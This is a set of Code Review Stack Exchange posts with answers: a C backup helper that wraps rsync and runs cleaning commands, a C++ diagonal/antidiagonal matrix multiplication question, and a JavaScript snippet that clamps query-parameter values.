free(read_configs); return NULL; } else if(status) //If reading list continue; //read the next line of the list fclose(fp); return read_configs; } else { status=check_unit_existence(unit_name, unit_buffer); if(status) //If unit wasnt found in line continue; //Read the next one /*The address of the beginning of the unit's configurations = beginning of the line + len of the unit name + 3 bytes (2 spaces and '=' sign)*/ configs_beginning = unit_buffer + strlen(unit_name) + 3; if(*(configs_beginning) == '{') { //If unit configs is beginning of a list config_status = 1; continue; } else { if(read_reg_syntax(configs_beginning, read_configs, 801) == -1) { fprintf(stderr, &quot;An overflow was detected while reading unit: %s.\n&quot;, unit_name); fclose(fp); free(read_configs); return NULL; } fclose(fp); return read_configs; } } } fclose(fp); free(read_configs); fprintf(stderr, &quot;Error occured while searching for unit: %s.\n&quot;, unit_name); return NULL; } /* *This function reads the regular configurations syntax, *Then passes it to the config_buffer. If there was a buffer *overflow the function will return -1, otherwise 0. */ int read_reg_syntax(char *config_beginning, char *configs_buffer, int buffer_size) { int i = 0; while(1) switch(config_beginning[i]) { case '\n': if(i+1 &gt; buffer_size) return -1; configs_buffer[i] = '\0'; //teminate line return 0; //exit case '\0': //Line is terminated return 0; //exit default: //Check for overflow if(i+1 &gt; buffer_size) return -1; //insert char into the configs_buffer configs_buffer[i] = config_beginning[i]; i++; break; } } /* *This function will read the syntax of a list, if finished reading itll *return 0, if still reading it will return 1 to read the next line, if *overflow occured -1 is returned. */ int read_list_syntax(char *line_beginning, char *configs_buffer, int buffer_size) { int char_cnt, i; char_cnt = strlen(configs_buffer); //number of characters in configs_buffer i = 0; while(1) { //Loop and read line until reaching '\n' or ';' switch(line_beginning[i]) { case '}': //If end of list configs_buffer[char_cnt] = '\0'; //terminate line return 0; //Finished reading list case '\t': //Ignore indention break; case '\n': //Make sure there is no overflow if(char_cnt+1 &gt; buffer_size) return -1; configs_buffer[char_cnt] = line_beginning[i]; return 1; //Read next line default: //Make sure there is no overflow if(char_cnt+1 &gt; buffer_size) return -1; configs_buffer[char_cnt] = line_beginning[i]; char_cnt++; break; } i++; } } /* *This function takes a unit name and pointer to the beginning *of the unit's line and it then it finds the unit's name which is *the first word then it checks if the founded unit and the passed *one are equal and the same. *0 = equal, 1 = not equal, -1 error. */ int check_unit_existence(const char *unit_name, char *line_begin) { unsigned int i; int unit_name_len = strlen(unit_name); char unit_to_check[unit_name_len]; //Array for the unit name that needs to be checked for(i=0; i&lt;unit_name_len+1; i++) { if(line_begin[i]==' ' || line_begin[i]=='\t' || line_begin[i]=='\n') { unit_to_check[i] = '\0'; break; } unit_to_check[i] = line_begin[i]; } if(strcmp(unit_name, unit_to_check) == 0) return 0; else //Not equal return 1; } </code></pre> <h3>sys_backup.h</h3> <pre><code>#ifndef SYS_BACKUP_H #define SYS_BACKUP_H typedef struct { int day; int month; int year; } date; int rm_dir(const char *); void get_date(date *); char *make_backup_dir(const char *, date); char *split_configs(char *, unsigned int *); int exec_command(const char *, char **); char *get_name(const char *); void clean_line(char *); #endif </code></pre> <h3>sys_backup.c</h3> <pre><code>#include &lt;stdio.h&gt; #include &lt;time.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #include &lt;sys/stat.h&gt; #include &lt;sys/types.h&gt; #include &lt;sys/wait.h&gt; #include &lt;dirent.h&gt; #include &lt;errno.h&gt; #include &quot;sys_backup.h&quot; /* *Recursive function to delete directories. *Returns -1 for failure, 1 if cant open dir, otherwise 0. */ int rm_dir(const char *dir_path) { DIR *dr; struct dirent *dp; struct stat statbuf; unsigned int original_path_len, new_path_len; char *new_path; original_path_len = strlen(dir_path); if((dr=opendir(dir_path)) == NULL) { //If failed opening dir if(errno==ENOENT) { //If dir doesnt exists fprintf(stderr, &quot;Directory doesn't exists: %s\n&quot;, dir_path); return 1; } else { fprintf(stderr, &quot;Error occured while opening directory: %s\n&quot;, dir_path); return -1; } } //Loop in dir's content while((dp=readdir(dr))!=NULL) { //Ignore '.' and '..' directories if (strcmp(dp-&gt;d_name, &quot;.&quot;)==0 || strcmp(dp-&gt;d_name, &quot;..&quot;)==0) continue; new_path_len = original_path_len + strlen(dp-&gt;d_name) + 2; //2 = '\0' and '/' new_path = (char *) malloc(new_path_len); if(new_path == NULL) { closedir(dr); return -1; } sprintf(new_path, &quot;%s/%s&quot;, dir_path, dp-&gt;d_name); //Get object status if(stat(new_path, &amp;statbuf)==0) { if(S_ISDIR(statbuf.st_mode)) { //If object is a directory if(rm_dir(new_path)==-1) { //Delete it free(new_path); closedir(dr); fprintf(stderr, &quot;Error occured while removing directory: %s\n&quot;, new_path); return -1; } } else { if(unlink(new_path)==-1) { //Delte file free(new_path); closedir(dr); fprintf(stderr, &quot;Error occured while removing file: %s\n&quot;, new_path); return -1; } } free(new_path); } else { free(new_path); closedir(dr); fprintf(stderr, &quot;An unknown error occured.\n&quot;); return -1; } } closedir(dr); rmdir(dir_path); return 0; } /* *This function will get the date of today, and it'll insert it to the passed date array. */ void get_date(date *date_struct) { long int sec_since_epoch; struct tm current_time, *time_ptr; sec_since_epoch = time(0); time_ptr = &amp;current_time; //Set time pointer to the current_time struct localtime_r(&amp;sec_since_epoch, time_ptr); //Pass today's date to the date struct date_struct-&gt;day = time_ptr-&gt;tm_mday; date_struct-&gt;month = time_ptr-&gt;tm_mon + 1; //+1 because months range from 0 - 11 date_struct-&gt;year = time_ptr-&gt;tm_year - 100; //-100 because tm_year is number of passed years since 1900 } /* *A function that gets pointer to int array that contains the *date of today and create a backup dir in the passed path *passed date. Then it will return the full path of the created dir. */ char *make_backup_dir(const char *device_path, date date_struct) { char dir_name[9]; char *backup_path; //Convert the date_array to a string so will use it to name the dir in the device path sprintf(dir_name, &quot;%02d-%02d-%02d&quot;, date_struct.day, date_struct.month, date_struct.year); //Prepare the full backup path backup_path = (char *) malloc(sizeof(dir_name)+strlen(device_path)+1); if(backup_path == NULL) { fprintf(stderr, &quot;Error occured while allocating memory.\n&quot;); return NULL; } sprintf(backup_path, &quot;%s%s/&quot;, device_path, dir_name); if(mkdir(backup_path, S_IRWXU)==-1) { //If failed fprintf(stderr, &quot;Error occured while creating directory: %s\n&quot;, backup_path); free(backup_path); return NULL; } printf(&quot;Created: %s\n&quot;, backup_path); return backup_path; } /* *This function is going to split a read list of configurations *into a separated lines, then return a pointer to it. NULL for *failure. */ char *split_configs(char *configs, unsigned int *i_in_configs) { static char line[600]; unsigned int i; if(configs[*i_in_configs]=='\0') //If the beginning of configs is terminated return NULL; memset(line, '\0', sizeof(line)); //Make sure the static array is empty for(i=0; configs[*i_in_configs]!='\0'; i++) { if(configs[*i_in_configs]=='\n') { *i_in_configs = *i_in_configs + 1; //Skip it and break break; } line[i] = configs[*i_in_configs]; *i_in_configs = *i_in_configs + 1; } return line; } /* *This function will fork the parent process to create a *child process then execute commands using one of the exec *familie's functions. Return -1 for fork failure, 1 for execv() *failure, otherwise 0. */ int exec_command(const char *prog_name, char *commands[]) { char prog_path[strlen(&quot;/usr/bin/&quot;)+strlen(prog_name)]; int status; pid_t pid; pid_t ret; sprintf(prog_path, &quot;/usr/bin/%s&quot;, prog_name); pid = fork(); //Create a new child process if(pid == -1) {//If failed to create new child fprintf(stderr, &quot;An error occured while creating a child process.\n&quot;); return -1; } else if(pid != 0) { //If child process didnt start while((ret = waitpid(pid, &amp;status, 0)) == -1) { //Wait for child if(errno != EINTR) { //If the waitpid() error isnt an interrupte signal fprintf(stderr, &quot;An error occured while waiting for the child process.\n&quot;); return -1; } } } else if(execv(prog_path, commands)==-1) //If command wasnt found return 1; return 0; } /* *This function gets a pointer to a line and then it *gets the first word in yhr line and return a pointer to it. */ char *get_name(const char *line) { static char name[200]; unsigned int i; for(i=0; i&lt;sizeof(name); i++) { if(line[i]==' ' || line[i]=='\n' || line[i]=='\t') { name[i] = '\0'; break; } name[i] = line[i]; } if(*name=='\0') //If name is empty return NULL; return name; } /* *This function is going to check if the line ends with any space, *and modify it if it is since the exec_command and make_backup_dir() *functions are space sensitive. */ void clean_line(char *line) { unsigned int i = 1; int len = strlen(line); while(line[len-i] == ' ') { //Clean line from spaces at the end line[len-i] = '\0'; i++; } } </code></pre> <h3>main.c</h3> <pre><code>/* *This program will make some cleaning that you regularly do *before the full system backup. And then itll create new dir *in your storage device with date, to make the system backup in *it useng rsync. The program will use system() to connect all the *command line tools together and automate this process. Lastly *its good to note that tho program reads all the commands and *your customaized cleaning process from a config file with the *following path: ~/.config/sys_backup */ #include &lt;stdio.h&gt; #include &lt;stdlib.h&gt; #include &lt;string.h&gt; #include &lt;unistd.h&gt; #include &quot;config_man.h&quot; //For config files managment #include &quot;sys_backup.h&quot; int main(int argc, char *argv[]) { const char *config_desc = { &quot;################################################################\n&quot; &quot;# This configuration file purposes are to provide to the #\n&quot; &quot;# sys_backup.c program the right cleaning process and storage #\n&quot; &quot;# device path, customized to your own needs and preferences. #\n&quot; &quot;################################################################&quot; }; const char *units_list[] = { &quot;DirsToClean&quot;, &quot;CleaningCommands&quot;, &quot;DevicePath&quot;, &quot;RsyncOpt&quot;, &quot;DirsToBackup&quot;, &quot;\0&quot; }; const char *units_desc[] = { &quot;Dirs path you regularly clean, like some cache dirs&quot;, &quot;{\n&quot; &quot;\tCommands for cleaning your sysem, like:\n&quot; &quot;\tsudo pacman -Sc (for deleting uninstalled packages\n&quot; &quot;\tfrom the cache in arch based distros)\n&quot; &quot;}&quot;, &quot;Yous storage device's path&quot;, &quot;Rsync backup option, for example: -aAXHv&quot;, &quot;Directories to backup&quot;, &quot;\0&quot; }; char *config_path = &quot;.config/sys_backup&quot;; char *home = getenv(&quot;HOME&quot;); char config_full_path[strlen(home)+strlen(config_path)+1]; char *configurations, *backup_path, *ptr, *prog_name; char *command_arg, *commands_list[7]; char new_prog_name[200+strlen(&quot;/usr/bin/&quot;)]; int opt, status; unsigned int i, len; date dir_name; /*Prepare configurations file's full path*/ sprintf(config_full_path, &quot;%s/%s&quot;, home, config_path); while((opt = getopt(argc, argv, &quot;:c&quot;)) != EOF) { if(opt == 'c' &amp;&amp; argc&lt;3) { if(create_config_file(config_full_path, config_desc)==-1) exit(EXIT_FAILURE); for(i=0; *units_list[i]!='\0'; i++) if(write_config_unit(config_full_path, units_list[i], units_desc[i])==-1) exit(EXIT_FAILURE); printf(&quot;%s was succesfully generated.\n&quot;, config_full_path); return 0; } else if(argc &gt; 3) { fprintf(stderr, &quot;Too many arguments were given.\n&quot;); exit(EXIT_FAILURE); } else { fprintf(stderr, &quot;The argument %s is invalid.\n&quot;, argv[1]); exit(EXIT_FAILURE); } } if(check_file_existence(config_full_path) == 0) { //Check if config file exists fprintf(stderr, &quot;Reminder: you can always generate new one using the -c option.\n&quot;); exit(EXIT_FAILURE); } /*Read the configured units*/ //DirsToClean if((configurations=read_config_unit(config_full_path, units_list[0])) == NULL) //Unit wasnt found exit(EXIT_FAILURE); /*Separate each dir path on its own to delete it*/ i = 0; while((ptr=split_configs(configurations, &amp;i)) != NULL) { if(*ptr=='/' &amp;&amp; ptr[1]=='\0'){ //If path is stand alone root tree fprintf(stderr, &quot;Error: you can't remove root tree.\n&quot;); fprintf(stderr, &quot;Please make sure that there is no sign of stand alone '/' in your configs.\n&quot;); free(configurations); exit(EXIT_FAILURE); } clean_line(ptr); if((status=rm_dir(ptr)) == -1) { free(configurations); exit(EXIT_FAILURE); } else if(status) //If cant open dir skip it ; else printf(&quot;Removing: %s\n&quot;, ptr); } free(configurations); //CleaningCommands if((configurations=read_config_unit(config_full_path, units_list[1])) == NULL) //Unit wasnt found exit(EXIT_FAILURE); /*Separate each cleaning command on its own to execute it*/ i = 0; memset(commands_list, '\0', sizeof(commands_list)); //Make sure array is empty while((ptr=split_configs(configurations, &amp;i)) != NULL) { if((prog_name=get_name(ptr))==NULL) { //If no program name was found fprintf(stderr, &quot;An unknown error occured\n&quot;); free(configurations); exit(EXIT_FAILURE); } /*Prepare command*/ if(strcmp(prog_name, &quot;sudo&quot;) == 0) { //If command starts with sudo commands_list[0] = &quot;sudo&quot;; prog_name = get_name(ptr+strlen(&quot;sudo &quot;)); //Get the name after sudo sprintf(new_prog_name, &quot;/usr/bin/%s&quot;, prog_name); commands_list[1] = new_prog_name; //Insert it with the full path command_arg = ptr+strlen(&quot;sudo &quot;)+strlen(prog_name) + 1; //skip all the read characters clean_line(command_arg); commands_list[2] = command_arg; printf(&quot;Warning: Executing the command '%s' with root privileges!\n&quot;, ptr); status = exec_command(commands_list[0], commands_list); if(status==-1) { free(configurations); exit(EXIT_FAILURE); } if(status) _Exit(127); } else { command_arg = ptr+strlen(prog_name)+1; //+1 to ommit the space clean_line(command_arg); commands_list[0] = prog_name; commands_list[1] = command_arg; status = exec_command(commands_list[0], commands_list); if(status==-1) { free(configurations); exit(EXIT_FAILURE); } if(status) _Exit(127); } } free(configurations); //DevicePath if((configurations=read_config_unit(config_full_path, units_list[2])) == NULL) //Unit wasnt found exit(EXIT_FAILURE); get_date(&amp;dir_name); //Get the date of today and pass it to dir_name if((backup_path=make_backup_dir(configurations, dir_name))==NULL) { //Create backup dir and get its path free(configurations); exit(EXIT_FAILURE); } free(configurations); /*Prepare Rsync commands*/ memset(commands_list, '\0', sizeof(commands_list)); //Make sure array is empty //RsyncOpt if((configurations=read_config_unit(config_full_path, units_list[3])) == NULL) { free(backup_path); exit(EXIT_FAILURE); } clean_line(configurations); commands_list[0] = &quot;sudo&quot;; commands_list[1] = &quot;/usr/bin/rsync&quot;; commands_list[2] = configurations; commands_list[4] = backup_path; //DirsToBackup if((configurations=read_config_unit(config_full_path, units_list[4])) == NULL) { free(commands_list[2]); free(commands_list[4]); exit(EXIT_FAILURE); } len = 0; while(1) { ptr = get_name(configurations+len); if(ptr != NULL) { commands_list[3] = ptr; status = exec_command(commands_list[0], commands_list); if(status==-1) { free(commands_list[2]); free(configurations); free(commands_list[4]); exit(EXIT_FAILURE); } if(status) _Exit(127); len += strlen(ptr) + 1; //to ommit the already checked names } else { free(commands_list[2]); free(configurations); free(commands_list[4]); break; } } return 0; } </code></pre> <p><a href="https://github.com/yankh764/rsync-helper" rel="nofollow noreferrer">Here is a link to the repo for the ones who would prefer to review it there</a></p>
[]
[ { "body": "<h1>Missing <code>const</code></h1>\n<p>I see you are using <code>const</code> in a lot of places, but you have missed a few:</p>\n<ul>\n<li><code>check_unit_existence()</code>: both arguments can be made <code>const char *</code></li>\n<li><code>read_reg_syntax()</code>: the first arugment can be made <code>const char *</code></li>\n<li><code>read_list_syntax()</code>: same as <code>read_reg_syntax()</code></li>\n<li><code>split_configs()</code>: the first argument can be made <code>const char *</code></li>\n<li><code>exec_command()</code>: the second argument can be made a <code>const char **</code></li>\n</ul>\n<p>There is also <code>config_path</code> and <code>home</code> in <code>main()</code> which should be made <code>const</code>.</p>\n<h1>Use <code>size_t</code> for sizes and counts</h1>\n<p>Your compiler should have warned you about comparisons between signed and unsigned integers. If not, enable warnings and try to fix them all! The result of <code>strlen()</code> and <code>sizeof</code> has type <code>size_t</code>, which is an unsigned integer that is probably 64 bits on your machine, and its value can be larger than what can be held in an <code>int</code>. So to avoid problems, use <code>size_t</code>.</p>\n<h1>Checking for the existence of a file</h1>\n<p>There are several issues with your check for the existence of a file. The first is that <code>fopen()</code> can fail for more reasons than just the file not existing: it could exist but there can be a read error, or it can exist but you don't heave read <em>permissions</em>. But more importantly, there is no guarantee that the file still exists after this function returns, so you cannot depend on the result, otherwise you might have created a <a href=\"https://en.wikipedia.org/wiki/Time-of-check_to_time-of-use\" rel=\"nofollow noreferrer\">TOCTTOU</a> bug.</p>\n<p>The check is completely redundant anyway, since in <code>read_config_unit()</code>, you correctly check the return value of <code>fopen()</code> again. So just remove the <code>check_file_existence()</code> function.</p>\n<h1>Also check for errors occuring after opening a file</h1>\n<p>A file might be opened succesfully, but an error might occur while you are reading or writing data. So it's not enough to check the return value of <code>fopen()</code>, you should also check the return values of <code>fprintf()</code>, <code>fgets()</code> and even <code>fclose()</code>. However, you don't have to do this for every I/O function; errors during file I/O are remembered and can be checked with <a href=\"https://en.cppreference.com/w/c/io/ferror\" rel=\"nofollow noreferrer\"><code>ferror()</code></a>. Make sure you report any of these errors, and exit the program with a non-zero exit code.</p>\n<h1>Don't hardcode magic numbers</h1>\n<p>Why is <code>unit_buffer</code> 600 bytes? Why is <code>read_configs</code> 801? Are you sure you used 801 everywhere correctly, and did not accidentily write 800? Instead of writing these so-called <a href=\"https://en.wikipedia.org/wiki/Magic_number_(programming)\" rel=\"nofollow noreferrer\">magic numbers</a> directly in your code, create named constants for them. This avoids mistakes and makes it easy to change the value in a single place.</p>\n<h1>Prefer <code>for</code>-loops where appropriate</h1>\n<p>I see <code>while(1)</code> loops in a few places, and this is a <a href=\"https://en.wikipedia.org/wiki/Code_smell\" rel=\"nofollow noreferrer\">code smell</a>. For example, in <code>read_reg_syntax()</code>, you are iterating over the string <code>config_beginning</code>. The idiomatic way to do this in C is to use a <code>for</code>-loop, like so:</p>\n<pre><code>for (size_t i = 0; i &lt; buffer_size &amp;&amp; config_beginnings[i]; i++) {\n switch(config_beginning[i]) {\n case '\\n':\n configs_buffer[i] = '\\0';\n return;\n default:\n configs_buffer[i] = config_beginning[i];\n break;\n }\n}\n</code></pre>\n<p>The big advantage is that all the information how you iterate over the string is now in one place: you start at the beginning, you go on until you either hit the end of the buffer or the end of the string, and you simply advance the iterator by one each time.</p>\n<p>Note that if you read <code>config_beginning</code> with <code>fgets()</code>, the buffer is guaranteed to have a NUL-byte in it, so you don't actually need the buffer size.</p>\n<h1>Use <code>isspace()</code> to check for whitespace characters</h1>\n<p>If you want to check if a character is whitespace, you can use <a href=\"https://en.cppreference.com/w/c/string/byte/isspace\" rel=\"nofollow noreferrer\"><code>isspace()</code></a> to check for that.</p>\n<h1>Avoid using <code>sprintf()</code></h1>\n<p>Since <code>sprintf()</code> doesn't check for the size of the buffer it writes to, it is very easy to make a mistake in the code and allow for a buffer overflow to occur. It looks like you did not make this mistake, but this is such a common problem that you should just use <code>snprintf()</code> everywhere, even if you think you know for certain that the buffer is large enough.</p>\n<h1>Avoid returning pointers to local variables</h1>\n<p>The function <code>split_configs()</code> returns a pointer to the array <code>line</code>. You made this a <code>static</code> variable, so the array will still exist after the function returns, but this is a bit of a dubious practice, since it means the function is not <a href=\"https://en.wikipedia.org/wiki/Reentrancy_(computing)\" rel=\"nofollow noreferrer\">reentrant</a>. It is better to either return a dynamically allocated buffer, or have the caller pass a pointer and a size for a buffer to this function, and let the caller decide how to allocate the buffer.</p>\n<h1>Possible read past end of buffer</h1>\n<p>What if <code>prog_name</code> is <code>&quot;sudo&quot;</code> but that was the whole command? Then when you write <code>ptr + strlen(&quot;sudo &quot;)</code>, you are reading past the end of the string.</p>\n", "comments": [ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-25T06:17:34.887", "Id": "508923", "Score": "0", "body": "Hi @G. Sliepen. First of all thanks for your time, your detailed review and all your tips you gave me. I really appreciate it and you taught me a lot and really thats my whole point for posting here -to learn from such amazing people like you-. \nSecond I will of course listen to all of your tips, I will do all the necessary research and I will gladly modify the code and improve it. \nAny way thanks and I wish you the best." } ], "meta_data": { "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-24T21:17:32.670", "Id": "257640", "ParentId": "257546", "Score": "1" } } ]
{ "AcceptedAnswerId": "257640", "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T21:11:33.793", "Id": "257546", "Score": "2", "Tags": [ "beginner", "c", "linux", "unix" ], "Title": "Rsync helper in C (Improved)" }
257546
<p>So I have a square matrix with the diagonal and antidiagonal elements different from zero in a vector</p> <pre><code>vector&lt;int&gt; matrix = {1,2,3,4,5,6,7,8}; </code></pre> <p>The matrix:</p> <pre><code>1 0 0 5 0 2 6 0 0 7 3 0 8 0 0 4 </code></pre> <p>I try to multiply this with another matrix</p> <p><code>xmatrix</code> is the class for matrices</p> <p>I tried like this:</p> <pre><code>void xmatrix::operator*(const xmatrix&amp; mat) { if(matrixSize != mat.getmatrixSize()) throw &quot;Diff size&quot;; int x; for(int i = 0;i &lt; matrixSize;i++){ for(int j = 0;j &lt; matrixSize;j++){ x = 0; for(int k = 0;k &lt; matrixSize;k++){ x += getElement(i,k) * mat.getElement(k,j); } setElementMul(i,j,x); } } } </code></pre> <p>The var and func names clearly says it all</p> <p>ATM this code works fine with the first half of the matrix (multiply with itself)</p> <pre><code>41 0 0 225 0 46 294 0 0 35 219 0 40 0 0 216 </code></pre> <p>what other ways can work fine or how should i edit this code</p>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T22:43:52.720", "Id": "508711", "Score": "4", "body": "It is unclear what the problem is. Is the code working as intended or not? If it is, then we'll just review the code you posted here. If it is not working as intended, Code Review is the wrong place, and perhaps it is better asked on the [StackOverflow](https://stackoverflow.com/) site." }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T06:40:55.343", "Id": "509030", "Score": "2", "body": "`The var and func names clearly says it all` If they do, I'm not listening successfully: *`xmatrix` is the class for matrices* For *matrices specified by diagonal and antidiagonal, only*? Please include it. What on earth is `setElementMul()`? What is the matrix presented below `ATM…` supposed to be? `what other ways can work fine…`to achieve *what exactly*?" }, { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-26T06:43:20.743", "Id": "509031", "Score": "1", "body": "`or how should i edit this code` If you habitually indent the code inside a function one level deeper than its head, use *code fences* (see help box to the right of the post edit frame) and undo the additional four spaces before head&trailing `}`." } ]
[ { "body": "<p>I believe your issue is that you're altering your matrix (the multiplicand) as you are performing the multiplication. This is why part of the result is correct while the other part is incorrect. For example, the top-right cell (which should be 25) is evaluated from <span class=\"math-container\">\\$ 41*5+5*4=225\\$</span> where the 41 (which should be 1) is used because you've prematurely set that cell from an earlier iteration.</p>\n<p>A simple way to fix this could be to use an intermediary matrix or buffer during the calculation. However, if your <code>xmatrix</code> class represents a matrix that can only be diagonal, anti-diagonal, or both, then you can use the properties of diagonal matrices to optimize and simplify your class.</p>\n<p>If this is indeed the case, then you can simply represent the entire matrix by its diagonal and anti-diagonal components:</p>\n<pre><code>vector&lt;int&gt; diagonal;\nvector&lt;int&gt; antidiag;\n</code></pre>\n<p>For the anti-diagonal component, I'll refer to your example and use a top-right to bottom-left orientation (so the top-right cell will be first and the bottom-left cell will be last).</p>\n<p>We can now optimize the multiplication operation by noting a few properties of diagonal matrices. Consider a diagonal matrix <span class=\"math-container\">\\$ A_x \\$</span> and an anti-diagonal matrix <span class=\"math-container\">\\$ A_y \\$</span>, both of size <span class=\"math-container\">\\$ n \\$</span>. Let these be the anti-diagonal and diagonal components of an <span class=\"math-container\">\\$ n*n \\$</span> matrix <span class=\"math-container\">\\$ A \\$</span>. We can then represent <span class=\"math-container\">\\$ A \\$</span> such that <span class=\"math-container\">\\$ A = A_x+A_y \\$</span>. However, this representation requires special care when <span class=\"math-container\">\\$ n \\$</span> is odd because of the common middle element. When such a case occurs, we'll absorb the middle element into the diagonal component and zero out the middle element in the anti-diagonal component. So now we have our multiplicand matrix <span class=\"math-container\">\\$ A \\$</span>, we use a similar notation to represent the multiplier matrix <span class=\"math-container\">\\$ B \\$</span> such that <span class=\"math-container\">\\$ B = B_x+B_y \\$</span>. Using a few properties of matrices, we can show that the multiplication of these matrices is a sum of diagonal and anti-diagonal components:\n<span class=\"math-container\">$$\nAB=(A_x+A_y)(B_x+B_y)=A_xB_x+A_xB_y+A_yB_x+A_yB_y\\\\=(A_xB_x+A_yB_y)+(A_xB_y+A_yB_x)\\\\=(\\text{[diagonal]})+(\\text{[anti-diagonal]})\n$$</span>\nNow that we've worked through the math, we can use this result to implement an optimized multiplication algorithm with a time complexity of <span class=\"math-container\">\\$ O(n) \\$</span>.</p>\n<pre><code>#include &lt;iostream&gt;\n#include &lt;vector&gt;\n\nclass XMatrix\n{\npublic:\n XMatrix(const std::vector&lt;int&gt;&amp; diagonal, const std::vector&lt;int&gt;&amp; antidiag)\n : diagonal(diagonal), antidiag(antidiag), size(diagonal.size())\n {\n if (diagonal.size() != antidiag.size())\n throw;\n\n if (this-&gt;size % 2 != 0) {\n this-&gt;antidiag[this-&gt;size / 2] = 0;\n }\n }\n/*\n...\n*/\n\n XMatrix operator*(const XMatrix&amp; m)\n {\n if (this-&gt;size != m.size)\n throw;\n\n std::vector&lt;int&gt; result_diagonal(this-&gt;size);\n std::vector&lt;int&gt; result_antidiag(this-&gt;size);\n\n for (int i = 0; i &lt; this-&gt;size; ++i) {\n result_diagonal[i]\n = this-&gt;diagonal[i] * m.diagonal[i] +\n this-&gt;antidiag[i] * m.antidiag[m.size-i-1];\n result_antidiag[i]\n = this-&gt;diagonal[i] * m.antidiag[i] +\n this-&gt;antidiag[i] * m.diagonal[m.size-i-1];\n }\n\n return XMatrix(result_diagonal, result_antidiag);\n }\n\n void print() const\n {\n for (int row = 0; row &lt; this-&gt;size; ++row) {\n for (int col = 0; col &lt; this-&gt;size; ++col) {\n std::cout &lt;&lt; '\\t';\n if (row == col)\n std::cout &lt;&lt; this-&gt;diagonal[row];\n else if (row == (this-&gt;size - col - 1))\n std::cout &lt;&lt; this-&gt;antidiag[row];\n else\n std::cout &lt;&lt; '0';\n }\n std::cout &lt;&lt; '\\n';\n }\n }\n\nprivate:\n int size;\n std::vector&lt;int&gt; diagonal;\n std::vector&lt;int&gt; antidiag;\n};\n\nint main(int argc, char *argv[])\n{\n XMatrix matrix_A({1,2,3,4},{5,6,7,8});\n XMatrix matrix_B = matrix_A * matrix_A;\n matrix_B.print();\n\n return 0;\n}\n</code></pre>\n<p>I've altered some things compared to your original code for the purpose of illustrating everything within this response. This may be a bit more than you were asking for regarding why your matrix multiplication was only half working (if that's all you were concerned about then feel free to disregard everything after the first two paragraphs), but in any case I hope I was able to help.</p>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T05:22:14.280", "Id": "257555", "ParentId": "257547", "Score": "3" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "3", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T22:24:04.933", "Id": "257547", "Score": "2", "Tags": [ "c++", "matrix", "classes" ], "Title": "Multiply a square matrix with only the diagonal and antidiagonal elements different from zero in vector" }
257547
<p>The main goal of this task is to take values from the query parameter and put it in inputu. The first problem is that I don't know much about how to do it so that the code doesn't repeat itself and I don't know how specifically I could improve the code so that multiple things don't happen again. Next, the function should contain a simple validation of min max to prevent them from entering silliness from the query parameter.</p> <pre><code>getFromQuery = props =&gt; { const { limitValues } = props; const parsed = queryString.parse(location.search); const validation = (value, min, max) =&gt; { if (value &lt; min) { return min; } else if (value &gt; max) { return max; } return value; }; if (parsed.price) { const defautPrice = limitValues.find(item =&gt; item.sliderType === 'PRICE'); props.inputs.PRICE = validation(parsed.price, defautPrice.minValue, defautPrice.maxValue); } if (parsed.savings) { const defautSavings = limitValues.find(item =&gt; item.sliderType === 'SAVINGS'); props.inputs.SAVINGS = validation(parsed.savings, defautSavings.minValue, defautSavings.maxValue); } if (parsed.maturity) { const defautMaturity = limitValues.find(item =&gt; item.sliderType === 'MATURITY'); props.inputs.MATURITY = validation(parsed.maturity, defautMaturity.minValue, defautMaturity.maxValue); } }; </code></pre>
[ { "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-23T15:33:57.700", "Id": "508749", "Score": "0", "body": "I was little refactor, but still there is space to improve, for any help I will be so glad." } ]
[ { "body": "<p>The <code>validation</code> function:</p>\n<pre><code>const validation = (value, min, max) =&gt; {\n if (value &lt; min) {\n return min;\n } else if (value &gt; max) {\n return max;\n }\n return value;\n};\n</code></pre>\n<p>Bounds the <code>value</code> between some minimum and maximum, can can be simplified to the following:</p>\n<pre><code>const validation = (value, min, max) =&gt; Math.max(min, Math.min(value, max));\n</code></pre>\n<p>For the rest, each &quot;case&quot; abstractly searches the <code>limitValues</code> array for a matching object by slider type, and then bounds the input value for that case. A general purpose utility could look like the following:</p>\n<pre><code>const processField = (key, fieldValue) =&gt; {\n const val = limitValues.find(({ sliderType }) =&gt; sliderType === key);\n props.inputs[key] = val\n ? validation(fieldValue, val.minValue, val.maxValue)\n : fieldValue;\n};\n</code></pre>\n<p>Since <code>Array.prototype.find</code> can potentially return <code>undefined</code> for no matches, you should guard check this. the second line uses a ternary to check if a defined value was returned from the <code>find</code> and returns the bounded field value otherwise returns the unbounded field value.</p>\n<p>Here is your updated example code:</p>\n<pre><code>const validation = (value, min, max) =&gt; Math.max(min, Math.min(value, max));\n\n...\n\ngetFromQuery = (props) =&gt; {\n const { limitValues } = props;\n const parsed = queryString.parse(location.search);\n\n const processField = (key, fieldValue) =&gt; {\n const val = limitValues.find(({ sliderType }) =&gt; sliderType === key);\n // Mutates props object\n props.inputs[key] = val\n ? validation(fieldValue, val.minValue, val.maxValue)\n : fieldValue;\n };\n\n if (parsed.price) {\n processField(&quot;PRICE&quot;, parsed.price);\n }\n\n if (parsed.savings) {\n processField(&quot;SAVINGS&quot;, parsed.savings);\n }\n\n if (parsed.maturity) {\n processField(&quot;MATURITY&quot;, parsed.maturity);\n }\n};\n</code></pre>\n", "comments": [], "meta_data": { "CommentCount": "0", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-04-24T05:36:52.430", "Id": "259925", "ParentId": "257550", "Score": "2" } } ]
{ "AcceptedAnswerId": null, "CommentCount": "1", "ContentLicense": "CC BY-SA 4.0", "CreationDate": "2021-03-22T23:54:54.287", "Id": "257550", "Score": "3", "Tags": [ "beginner", "ecmascript-6", "react.js" ], "Title": "Get default value from query params + repeating code" }
257550
